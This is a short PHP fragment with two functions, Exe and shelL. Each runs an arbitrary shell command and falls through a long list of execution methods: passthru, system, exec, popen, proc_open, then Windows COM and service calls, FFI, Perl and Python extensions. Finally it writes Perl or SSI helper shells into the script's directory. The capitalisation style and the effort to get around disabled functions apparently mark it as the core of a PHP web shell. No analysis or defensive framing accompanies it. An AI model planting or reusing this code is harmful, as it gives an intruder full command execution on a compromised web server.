function Exe($command) { $exec = $output = ''; $dep[] = array('pipe', 'r'); $dep[] = array('pipe', 'w'); if (function_exists('passthru')) { ob_start(); @passthru($command); $exec = ob_get_contents(); ob_clean(); ob_end_clean(); } elseif (function_exists('system')) { $tmp = ob_get_contents(); ob_clean(); @system($command); $output = ob_get_contents(); ob_clean(); $exec = $tmp; } elseif (function_exists('exec')) { @exec($command, $output); $output = join("\n", $output); $exec = $output; } elseif (function_exists('shell_exec')) { $exec = @shell_exec($command); } elseif (function_exists('popen')) { $output = @popen($command, 'r'); while (!feof($output)) { $exec = fgets($output); } pclose($output); } elseif (function_exists('proc_open')) { $res = @proc_open($command, $dep, $pipes); while (!feof($pipes[1])) { $line = fgets($pipes[1]); $output .= $line; } $exec = $output; proc_close($res); } elseif (function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $exec = winshelL($command); } elseif (function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $exec = srvshelL($command); } elseif (extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $exec = ffishelL($command); } elseif (extension_loaded('perl')) { $exec = perlshelL($command); } return $exec; }
function shelL($command) { global $windows; $exec = $output = ''; $dep[] = array('pipe', 'r'); $dep[] = array('pipe', 'w'); if (checkfunctioN('passthru')) { ob_start(); passthru($command); $exec = ob_get_contents(); ob_clean(); ob_end_clean(); } elseif (checkfunctioN('system')) { $tmp = ob_get_contents(); ob_clean(); system($command); $output = ob_get_contents(); ob_clean(); $exec = $tmp; } elseif (checkfunctioN('exec')) { exec($command, $output); $output = join("\n", $output); $exec = $output; } elseif (checkfunctioN('shell_exec')) { $exec = shell_exec($command); } elseif (checkfunctioN('popen')) { $output = popen($command, 'r'); while (!feof($output)) { $exec = fgets($output); } pclose($output); } elseif (checkfunctioN('proc_open')) { $res = proc_open($command, $dep, $pipes); while (!feof($pipes[1])) { $line = fgets($pipes[1]); $output .= $line; } $exec = $output; proc_close($res); } elseif (checkfunctioN('win_shell_execute')) { $exec = winshelL($command); } elseif (checkfunctioN('win32_create_service')) { $exec = srvshelL($command); } elseif (extension_loaded('ffi') && $windows) { $exec = ffishelL($command); } elseif (extension_loaded('perl')) { $exec = perlshelL($command); } elseif (extension_loaded('python')) { $exec = pythonshelL($command); } elseif ($windows && class_exists('COM')) { $ws = new COM('WScript.Shell'); $exec = comshelL($command, $ws); } elseif (is_writable(dirname($_SERVER["SCRIPT_FILENAME"]))) { $exec = perlwshelL($command); if (!$exec) { $exec = ssishelL($command); } } return $exec; }